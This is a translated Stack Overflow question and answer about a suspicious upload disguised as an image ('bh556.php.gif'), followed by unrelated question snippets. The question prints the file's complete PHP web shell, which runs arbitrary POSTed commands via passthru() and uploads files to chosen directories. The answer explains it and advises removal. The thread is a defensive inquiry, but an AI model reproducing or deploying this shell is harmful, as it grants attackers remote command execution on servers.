个人中心
文章发布
退出
作者热门文章
- android - RelativeLayout 背景可绘制重叠内容
- android - 如何链接 cpufeatures lib 以获取 native android 库？
- java - OnItemClickListener 不起作用，但 OnLongItemClickListener 在自定义 ListView 中起作用
- java - Android 文件转字符串
26
4
我刚刚收到房东发来的热情信息，告诉我......“我们检测到有人试图通过 http 或 ftp 访问您的帐户”
检查恶意文件后，有人上传了一个名为“bh556.php.gif”的图标
打开此文件，它包含以下代码:
<html>
<head>
<div align="left"><font size="1">Input command :</font></div>
<form name="cmd" method="POST" enctype="multipart/form-data">
<input type="text" name="cmd" size="30" class="input"><br>
<pre>
<?php
if ($_POST['cmd']){
$cmd = $_POST['cmd'];
passthru($cmd);
}
?>
</pre>
<hr>
<div align="left"><font size="1">Uploader file :</font></div>
<?php
$uploaded = $_FILES['file']['tmp_name'];
if (file_exists($uploaded)) {
$pwddir = $_POST['dir'];
$real = $_FILES['file']['name'];
$dez = $pwddir."/".$real;
copy($uploaded, $dez);
echo "FILE UPLOADED TO $dez";
}
?> </pre>
<form name="form1" method="post" enctype="multipart/form-data">
<input type="text" name="dir" size="30" value="<? passthru("pwd"); ?>">
<input type="submit" name="submit2" value="Upload">
<input type="file" name="file" size="15">
</td>
</tr>
</table>
</body>
</html>
谁能解释一下如何防止再次通过图标上传，并解释一下上面的代码到底做了什么？
最佳答案
这是一个 PHP Webshell，参见 here获取常见列表。它允许恶意用户通过 PHP 文件执行命令，这具有极大的危害性。
通过标题和一些巧妙的技巧将它们隐藏在图像中很常见，请参阅说明 here
我的建议是，删除文件，解决泄漏的原因，这可能是某种描述的注入(inject)攻击。
关于php - 可能的网站黑客尝试，我们在Stack Overflow上找到一个类似的问题： https://stackoverflow.com/questions/28852904/
26
4
0
已关闭。这个问题是 off-topic 。目前不接受答案。 想要改进这个问题吗？ Update the question所以它是on-topic用于堆栈溢出。 已关闭11 年前。 Improve th
有时，当我看到一个我喜欢的网站或来自受人尊敬的人的网站时，我会查看源代码并尝试理解它们(就像我们所有人一样)。 关于 Jeremy Keiths他使用以下代码的网站: [role="navigatio
关闭。这个问题不符合Stack Overflow guidelines .它目前不接受答案。 我们不允许提问寻求书籍、工具、软件库等的推荐。您可以编辑问题，以便用事实和引用来回答。 关闭 7 年前。
This question already has answers here: Prevent users from modifying part of the text in SLComposeVi
我正在使用 rockettheme 模板并使用自定义 css 文件编辑了一些 css 代码。 我已经设法让它在 Firefox 和 Chrome 上看起来像我想要的那样，但是 IE 看起来很奇怪。
我在 Dreamweaver 中右击我的行号，试图为一行添加书签。 我注意到这个菜单项: 什么是 Caio Hack？ alert('hi'); 突出显示，结果如下: 最佳答案 这是一个古老的 CSS
我在看this SSL讲座。 Zeldovich 教授在这里说，如果连接是 http，黑客可能会让您相信您正在与 Amazon.com 对话，而实际上您正在与他的(黑客)服务器对话。 这是怎么发生的？
关闭。这个问题是opinion-based .它目前不接受答案。 想要改进这个问题？ 更新问题，以便 editing this post 可以用事实和引用来回答它. 关闭 9 年前。 Improve
我有一个相当复杂的 JTable 子类(WidgetTable 及其 WidgetTableModel)，当我将它添加到虚拟 JPanel 以进行测试时它工作正常。 因为我绝对讨厌使用 LayoutM
我遇到了这个很酷的 Swift 技术的例子，但没有解释它是如何工作的或者它做了什么，尽管我已经写了相当多的 Swift 代码，但它充满了错综复杂的 Swiftisms，它目前正在扭曲我的转过头去。 如
服务器在互联网运转中为使用者提供计算或应用服务，企业的业务流程基本上都是在服务器上进行，大批量的数据信息都会存储在此，若是服务器在黑客的入侵下中毒，后果将不堪设想。想要避免黑客的入侵，我们可以从下面
我正在尝试编写一个相当多态的库。我遇到了一种更容易表现出来却很难说出来的情况。它看起来有点像这样: {-# LANGUAGE ScopedTypeVariables #-} {-# LANGUAGE
我有一个 DropDownList，我正在尝试阻止它被用作攻击媒介。我是否可以假设用户无法实际更改 DDL 的值并回发到服务器？目前，如果我尝试在提交后更改数据包，则会抛出此 ASP.NET 错误消息
我有一堆 C++ 结构。我想将它保存到文件并再次加载它们。问题是我的一些结构是指向基类(/结构)的指针。所以我需要一种方法来找出类型并创建它。它们实际上只是 POD，它们都有公共(public)成员，
我正在使用 Sprite 作为输入按钮。它在 Firefox 和 > IE8 中运行良好。但是，在 IE7 和 8 中，ID 值显示在 png 图形上。它看起来像这样: (我会嵌入，但不允许):Pre
以下安全吗？ struct K { ... } struct A { A(int psize) : size(psize), foo(nullptr), bar(nullptr) {
关闭。这个问题是off-topic .它目前不接受答案。 想改进这个问题吗？ Update the question所以它是on-topic用于堆栈溢出。 关闭 9 年前。 Improve this
我正在破解一个画廊插件，我想在其中禁用缩略图的点击事件并将其替换为悬停事件。 这就是我所做的:http://jsbin.com/enezol/3 $(function() { var galler
昨天这里有一篇帖子因问题过于本地化而被关闭。好吧，我现在遇到了同样的问题，而且这似乎是一个相当新的问题。 基本上，从昨天开始，我的防病毒软件就阻止了我的网站。该网站的 https://版本加载绝对正常
我有一个 Unity WebGL 应用程序在 Web 浏览器中运行，它使用普通的旧 Unity WWW 和 http://.... 与远程服务器通信，它调用服务器上的几个不同的 php 脚本并使用 P
我是一名优秀的程序员,十分优秀！